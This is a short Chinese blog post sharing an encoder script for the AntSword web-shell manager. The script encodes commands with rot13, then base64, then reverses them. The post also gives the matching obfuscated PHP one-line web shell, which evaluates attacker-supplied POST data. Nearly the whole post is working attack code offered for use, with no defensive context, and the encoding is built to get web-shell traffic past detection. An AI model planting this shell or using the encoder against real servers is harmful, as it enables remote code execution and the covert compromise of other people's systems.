蚁剑编码之rot13->base64->字符串反转脚本

qianxiao996 2019-11-19 PM 36℃ 0条

编码器脚本。

/**
<?php @eval(str_rot13(base64_decode(strrev($_POST['ant']))));?>
**/
'use strict';
module.exports = (pwd, data, ext={}) => {
  const rot13encode = (s) => {
    return s.replace(/[a-zA-Z]/g, function (c) {
      return String.fromCharCode((c <= "Z" ?
          90 :
          122) >= (c = c.charCodeAt(0) + 13) ?
        c :
        c - 26);
    });
  }
  // 字符串反转 reverseString("abc") == "cba"
  const reverseString = (s) => {
    return s.split('').reverse().join('');
  }
  data[pwd] = reverseString(Buffer.from(rot13encode(data['_'])).toString('base64'));
  delete data['_'];
  return data;
}

shell

<?php @eval(str_rot13(base64_decode(strrev($_POST['ant']))));?>

脚本来源

https://mp.weixin.qq.com/s/X2byhuN3TFc6Z3IUCiGafQ

标签: none

评论啦~


icon_mrgreen.pngicon_neutral.pngicon_twisted.pngicon_arrow.pngicon_eek.pngicon_smile.pngicon_confused.pngicon_cool.pngicon_evil.pngicon_biggrin.pngicon_idea.pngicon_redface.pngicon_razz.pngicon_rolleyes.pngicon_wink.pngicon_cry.pngicon_surprised.pngicon_lol.pngicon_mad.pngicon_sad.pngicon_exclaim.pngicon_question.png